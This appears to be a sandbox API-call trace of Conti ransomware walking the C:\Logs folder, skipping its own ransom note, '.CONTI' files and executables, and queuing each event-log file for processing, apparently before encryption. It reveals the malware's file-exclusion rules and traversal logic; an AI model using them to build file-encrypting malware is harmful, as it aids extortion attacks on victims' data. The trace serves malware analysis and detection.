	[0094.778] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4c5517dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName=".", cAlternateFileName="")) returned 0x175e670
	[0094.778] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0094.778] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4c5517dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="..", cAlternateFileName="")) returned 1
	[0094.784] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0094.784] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0094.785] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1
	[0094.785] lstrcmpiW (lpString1="Application.evtx", lpString2=".") returned 1
	[0094.785] lstrcmpiW (lpString1="Application.evtx", lpString2="..") returned 1
	[0094.785] StrStrIW (lpFirst="Application.evtx", lpSrch=".CONTI") returned 0x0
	[0094.785] StrStrIW (lpFirst="Application.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.785] StrStrIW (lpFirst="Application.evtx", lpSrch=".exe") returned 0x0
	[0094.785] StrStrIW (lpFirst="Application.evtx", lpSrch=".dll") returned 0x0
	[0094.785] StrStrIW (lpFirst="Application.evtx", lpSrch=".lnk") returned 0x0
	[0094.785] StrStrIW (lpFirst="Application.evtx", lpSrch=".sys") returned 0x0
	[0094.785] StrStrIW (lpFirst="Application.evtx", lpSrch=".CONTI") returned 0x0
	[0094.785] StrStrIW (lpFirst="Application.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.785] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.785] lstrlenW (lpString="Application.evtx") returned 16
	[0094.785] GetProcessHeap () returned 0x1720000
	[0094.785] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x32) returned 0x175e6f0
	[0094.785] lstrcpyW (in: lpString1=0x175e6f0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.785] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.785] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Application.evtx" | out: lpString1="C:\\Logs\\Application.evtx") returned="C:\\Logs\\Application.evtx"
	[0094.785] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c40e8) returned 1
	[0094.785] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c5517dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4c5517dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4c5517dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0094.785] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0094.785] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0094.785] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0094.785] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0094.785] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1
	[0094.785] lstrcmpiW (lpString1="HardwareEvents.evtx", lpString2=".") returned 1
	[0094.785] lstrcmpiW (lpString1="HardwareEvents.evtx", lpString2="..") returned 1
	[0094.785] StrStrIW (lpFirst="HardwareEvents.evtx", lpSrch=".CONTI") returned 0x0
	[0094.785] StrStrIW (lpFirst="HardwareEvents.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.785] StrStrIW (lpFirst="HardwareEvents.evtx", lpSrch=".exe") returned 0x0
	[0094.785] StrStrIW (lpFirst="HardwareEvents.evtx", lpSrch=".dll") returned 0x0
	[0094.785] StrStrIW (lpFirst="HardwareEvents.evtx", lpSrch=".lnk") returned 0x0
	[0094.786] StrStrIW (lpFirst="HardwareEvents.evtx", lpSrch=".sys") returned 0x0
	[0094.786] StrStrIW (lpFirst="HardwareEvents.evtx", lpSrch=".CONTI") returned 0x0
	[0094.786] StrStrIW (lpFirst="HardwareEvents.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.786] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.786] lstrlenW (lpString="HardwareEvents.evtx") returned 19
	[0094.786] GetProcessHeap () returned 0x1720000
	[0094.786] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x38) returned 0x175e730
	[0094.786] lstrcpyW (in: lpString1=0x175e730, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.786] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.786] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="HardwareEvents.evtx" | out: lpString1="C:\\Logs\\HardwareEvents.evtx") returned="C:\\Logs\\HardwareEvents.evtx"
	[0094.786] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4e98) returned 1
	[0094.786] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1
	[0094.786] lstrcmpiW (lpString1="Internet Explorer.evtx", lpString2=".") returned 1
	[0094.786] lstrcmpiW (lpString1="Internet Explorer.evtx", lpString2="..") returned 1
	[0094.786] StrStrIW (lpFirst="Internet Explorer.evtx", lpSrch=".CONTI") returned 0x0
	[0094.786] StrStrIW (lpFirst="Internet Explorer.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.786] StrStrIW (lpFirst="Internet Explorer.evtx", lpSrch=".exe") returned 0x0
	[0094.786] StrStrIW (lpFirst="Internet Explorer.evtx", lpSrch=".dll") returned 0x0
	[0094.786] StrStrIW (lpFirst="Internet Explorer.evtx", lpSrch=".lnk") returned 0x0
	[0094.786] StrStrIW (lpFirst="Internet Explorer.evtx", lpSrch=".sys") returned 0x0
	[0094.786] StrStrIW (lpFirst="Internet Explorer.evtx", lpSrch=".CONTI") returned 0x0
	[0094.786] StrStrIW (lpFirst="Internet Explorer.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.786] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.786] lstrlenW (lpString="Internet Explorer.evtx") returned 22
	[0094.786] GetProcessHeap () returned 0x1720000
	[0094.786] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3e) returned 0x17343f0
	[0094.786] lstrcpyW (in: lpString1=0x17343f0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.786] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.786] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Internet Explorer.evtx" | out: lpString1="C:\\Logs\\Internet Explorer.evtx") returned="C:\\Logs\\Internet Explorer.evtx"
	[0094.786] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4418) returned 1
	[0094.786] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1
	[0094.786] lstrcmpiW (lpString1="Key Management Service.evtx", lpString2=".") returned 1
	[0094.786] lstrcmpiW (lpString1="Key Management Service.evtx", lpString2="..") returned 1
	[0094.786] StrStrIW (lpFirst="Key Management Service.evtx", lpSrch=".CONTI") returned 0x0
	[0094.787] StrStrIW (lpFirst="Key Management Service.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.787] StrStrIW (lpFirst="Key Management Service.evtx", lpSrch=".exe") returned 0x0
	[0094.787] StrStrIW (lpFirst="Key Management Service.evtx", lpSrch=".dll") returned 0x0
	[0094.787] StrStrIW (lpFirst="Key Management Service.evtx", lpSrch=".lnk") returned 0x0
	[0094.787] StrStrIW (lpFirst="Key Management Service.evtx", lpSrch=".sys") returned 0x0
	[0094.787] StrStrIW (lpFirst="Key Management Service.evtx", lpSrch=".CONTI") returned 0x0
	[0094.787] StrStrIW (lpFirst="Key Management Service.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.787] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.787] lstrlenW (lpString="Key Management Service.evtx") returned 27
	[0094.787] GetProcessHeap () returned 0x1720000
	[0094.787] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d4b8
	[0094.787] lstrcpyW (in: lpString1=0x173d4b8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.787] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.787] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Key Management Service.evtx" | out: lpString1="C:\\Logs\\Key Management Service.evtx") returned="C:\\Logs\\Key Management Service.evtx"
	[0094.787] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d61c0) returned 1
	[0094.787] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1
	[0094.787] lstrcmpiW (lpString1="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpString2=".") returned 1
	[0094.787] lstrcmpiW (lpString1="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpString2="..") returned 1
	[0094.787] StrStrIW (lpFirst="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0094.787] StrStrIW (lpFirst="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.787] StrStrIW (lpFirst="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0094.787] StrStrIW (lpFirst="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0094.787] StrStrIW (lpFirst="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0094.787] StrStrIW (lpFirst="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0094.787] StrStrIW (lpFirst="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0094.787] StrStrIW (lpFirst="Microsoft-Client-Licensing-Platform%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.787] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.787] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47
	[0094.787] GetProcessHeap () returned 0x1720000
	[0094.787] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740550
	[0094.787] lstrcpyW (in: lpString1=0x1740550, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.787] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.787] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Client-Licensing-Platform%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx"
	[0094.788] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2f90) returned 1
	[0094.788] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1
	[0094.788] lstrcmpiW (lpString1="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpString2=".") returned 1
	[0094.788] lstrcmpiW (lpString1="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpString2="..") returned 1
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpSrch=".CONTI") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpSrch=".exe") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpSrch=".dll") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpSrch=".lnk") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpSrch=".sys") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpSrch=".CONTI") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.788] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.788] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78
	[0094.788] GetProcessHeap () returned 0x1720000
	[0094.788] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xae) returned 0x17bfba0
	[0094.788] lstrcpyW (in: lpString1=0x17bfba0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.788] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.788] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx"
	[0094.788] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d38b0) returned 1
	[0094.788] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1
	[0094.788] lstrcmpiW (lpString1="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpString2=".") returned 1
	[0094.788] lstrcmpiW (lpString1="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpString2="..") returned 1
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.788] StrStrIW (lpFirst="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.789] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.789] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71
	[0094.789] GetProcessHeap () returned 0x1720000
	[0094.789] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa0) returned 0x173eff0
	[0094.789] lstrcpyW (in: lpString1=0x173eff0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.789] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.789] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx"
	[0094.789] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4d38) returned 1
	[0094.789] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1
	[0094.789] lstrcmpiW (lpString1="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpString2=".") returned 1
	[0094.789] lstrcmpiW (lpString1="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpString2="..") returned 1
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpSrch=".CONTI") returned 0x0
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpSrch=".exe") returned 0x0
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpSrch=".dll") returned 0x0
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpSrch=".lnk") returned 0x0
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpSrch=".sys") returned 0x0
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpSrch=".CONTI") returned 0x0
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.789] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.789] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45
	[0094.789] GetProcessHeap () returned 0x1720000
	[0094.789] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x17405c8
	[0094.789] lstrcpyW (in: lpString1=0x17405c8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.789] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.789] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppLocker%4EXE and DLL.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx"
	[0094.789] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5d30) returned 1
	[0094.789] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1
	[0094.789] lstrcmpiW (lpString1="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpString2=".") returned 1
	[0094.789] lstrcmpiW (lpString1="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpString2="..") returned 1
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpSrch=".CONTI") returned 0x0
	[0094.789] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpSrch=".exe") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpSrch=".dll") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpSrch=".lnk") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpSrch=".sys") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpSrch=".CONTI") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.790] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.790] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48
	[0094.790] GetProcessHeap () returned 0x1720000
	[0094.790] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x72) returned 0x17c7248
	[0094.790] lstrcpyW (in: lpString1=0x17c7248, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.790] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.790] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppLocker%4MSI and Script.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx"
	[0094.790] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2670) returned 1
	[0094.790] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1
	[0094.790] lstrcmpiW (lpString1="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpString2=".") returned 1
